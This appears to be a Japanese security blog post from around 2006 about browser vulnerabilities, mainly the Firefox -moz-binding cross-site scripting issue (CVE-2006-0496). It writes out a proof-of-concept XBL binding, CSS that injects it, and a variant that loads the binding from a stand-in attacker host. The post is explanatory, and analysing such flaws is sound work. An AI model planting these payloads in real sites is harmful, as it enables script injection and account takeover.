復刻:IEのほとんどのバー(アドレスバー含む)偽装の件(その2)

IPA脆弱性報告窓口に報告完了しました。ナンバーはIPA#07613844です。

IEのKillbit回避の件

ずがーん!IEのセキュリティホール(膨大な数)の大復活::悪徳の栄えに追記しました。

追記内容を簡単に言うと、2/1の時点で、MicorosoftのMS05-054の説明がUpdateされており、どうやらkillbit対策も含まれているらしいと正式にわかった次第です。

はてなブックマークのXSS脆弱性

orz

もうね。

上のexploitを見る限りね。

orz **2 なわけですよ。

Mozilla系ブラウザでクロスサイトスクリプティングを許す -moz-binding

CVE-2006-0496から引用。強調は私。

Cross-site scripting (XSS) vulnerability in Mozilla 1.7.12 and possibly earlier, and Mozilla Firefox 1.0.7 and possibly earlier, allows remote attackers to inject arbitrary web script or HTML via the -moz-binding CSS (Cascading Style Sheets) property, which does not require that the style sheet have the same origin as the web page, as demonstrated by the compromise of a large number of LiveJournal accounts.

影響するブラウザ
Mozilla Firefox version 1.5 and prior
Mozilla Suite version 1.7.12 and prior

パッチはまだないようです。

CSSはsame origin as the web pageである必要は全然ありませんが、そこに記述されている-moz-bindingから起動されたJavaScriptは、same origin as the web page を満たして頂かないと大変困ります。XSS攻撃が容易になってしまいます。という主旨?

Bug 324253 - CVE-2006-0496 Do something about the XSS issues -moz-binding introduces :: BugzillaBoris Zbarsky さんが、At the moment such restrictions are impossible. The security model would have to be rearchitected completely to allow it.とおっしゃっていますねぇ。rearchitectedって、再設計されなきゃね、という意味ですけど。

こんな感じ?

<?xml version="1.0"?>
<bindings xmlns="http://www.mozilla.org/xbl"
 xmlns:html="http://www.w3.org/1999/xhtml">
 <binding id="xss">
   <implementation>
     <constructor><![CDATA[
       alert("XSS via -moz-binding");
     ]]></constructor>
   </implementation>
 </binding>
</bindings>

上のようなものを用意しておいて、mozbinding.xmlとしておき、

<style>
body { -moz-binding: url("mozbinding.xml#xss"); }
</style>

というスタイルの罠でも被害者のページに挿入しておくのでしょうか?あ、それなら、same originですね。

落ち着いてよく考えて見ます。被害者サイトのスタイルシートの記述が自由になっていて、-moz-bindingのプロパティで外部の罠サイトのxmlファイルを許しているとすると、被害者サイトのドメインJavaScriptが動くわけですね。そうか。例えば、IEでは拡張子がhtcなファイルでもって、スタイルシートのbehaviorプロパティに記述すると確かににJavaScriptは動くわけだけど、htcなファイルは同じサイトのものだけが許されていて外部サイトのものでは無視されるのでした。このIEの挙動は正しいですね。この脈絡で、-moz-bindingはどこかヤバイというわけなのかな?外部サイトのxmlの中のスクリプトが動いちゃうよと。ううむ。本当?こういうのだったらとっくに誰かがみつけていそうなもんだけど…それならこうですか。

<style>
body { -moz-binding: url("http://attacker.example.com/mozbinding.xml#xss"); }
</style>

あぁ、火元はここですか。はてなのサービスと良く似ていて、スタイルシートの記述を許しているサービスがあったけど、運営者がふと気がついてスタイルシートから-moz-bindingを取り除くような手配をしたらしいですね。

ちなみに、はてなダイアリーでは、もともと「binding」がスタイルシートに記述できないので、偶然にも自動的に今回の「-moz-binding」は無効になるのでした。よかった。

ちなみに「binding」禁止は以下のような例があるから。スタイル属性になっちゃってるけど意味を汲んでください。

<div style="binding: url([link to code]);">